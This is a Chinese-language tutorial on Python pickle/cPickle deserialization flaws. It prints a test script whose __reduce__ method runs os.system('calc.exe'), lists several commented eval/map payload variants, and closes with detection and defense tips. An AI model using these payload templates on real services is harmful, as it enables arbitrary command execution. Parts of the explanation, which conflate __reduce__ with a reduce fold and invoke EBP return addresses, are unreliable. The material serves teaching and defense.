基本概念

Python中有个库可以实现序列化和反序列化操作,名为pickle或cPickle,作用和PHP的serialize与unserialize一样,两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同,但cPickle库的性能更好,因此这里选用cPickle库作为示例。

cPickle可以对任意一种类型的Python对象进行序列化操作。下面是主要的四个函数:

cPickle.dump():将Python对象序列化保存到本地的文件中。

cPickle.load():载入本地文件,将文件内容反序列化为Python对象。

cPickle.dumps():将Python对象序列化为字符串。

cPickle.loads():将字符串反序列化为Python对象。

简单示例:

先创建Person类对象并初始化,然后将其序列化并输出,可以看到是C解释过的内容:

为了方便,直接在该代码下面添加反序列化操作:

Demo

还是用上面的示例,添加一个__reduce__()魔术方法:

漏洞根源分析

漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码。

简单说明一下__reduce__()函数:将一个数据集合(链表,元组等)中的所有数据进行下列操作:用传给 reduce 中的函数 function(有两个参数)先对集合中的第 1、2 个元素进行操作,得到的结果再与第三个数据用 function 函数运算,最后得到一个结果。

由于cPickle是C写的代码且pickle与其实现原理一致,所以到$PYTHON_HOME/Lib/pickle.py中查看reduce加载的源码:

通过调试可以发现,第1136行将当前栈内容赋值给stack变量,当前栈内容包含我们输入的恶意的os.system(“calc.txt”)内容,接着出栈赋值给args变量;通常函数返回地址都保存在当前EBP寄存器所指的上方,因此通过stack[-1]可以获取返回函数地址并赋值给func变量;最后调用func(*args)传入特定参数执行函数,从而完成对象的调用解析而执行任意命令。

通用payload

因为反序列化之后用到的库需要在反序列化的文件中存在,所以这里简单分为未导入和导入目标模块即这里为os模块的情况,当然除此之外还有其他一些系统执行库、其他的姿势等等,可自行补充,后面有空再补上吧:

这里贴上测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#coding=utf-8
import cPickle

class Person(object):
def __init__(self,username,password):
self.username = username
self.password = password

def __reduce__(self):
# 未导入os模块,通用
return (__import__('os').system, ('calc.exe',))
# return eval,("__import__('os').system('calc.exe')",)
# return map, (__import__('os').system, ('calc.exe',))
# return map, (__import__('os').system, ['calc.exe'])

# 导入os模块
# return (os.system, ('calc.exe',))
# return eval, ("os.system('calc.exe')",)
# return map, (os.system, ('calc.exe',))
# return map, (os.system, ['calc.exe'])

admin = Person('admin','123456')
result = cPickle.dumps(admin)

user = cPickle.loads(result)

检测方法

全局搜索Python代码中是否含有关键字类似“import cPickle”或“import pickle”等,若存在则进一步确认是否调用cPickle.loads()或pickle.loads()且反序列化的参数可控。

防御方法

1、用更高级的接口__getnewargs()、__getstate__()、__setstate__()等代替__reduce__()魔术方法;

2、进行反序列化操作之前,进行严格的过滤,若采用的是pickle库可采用装饰器实现。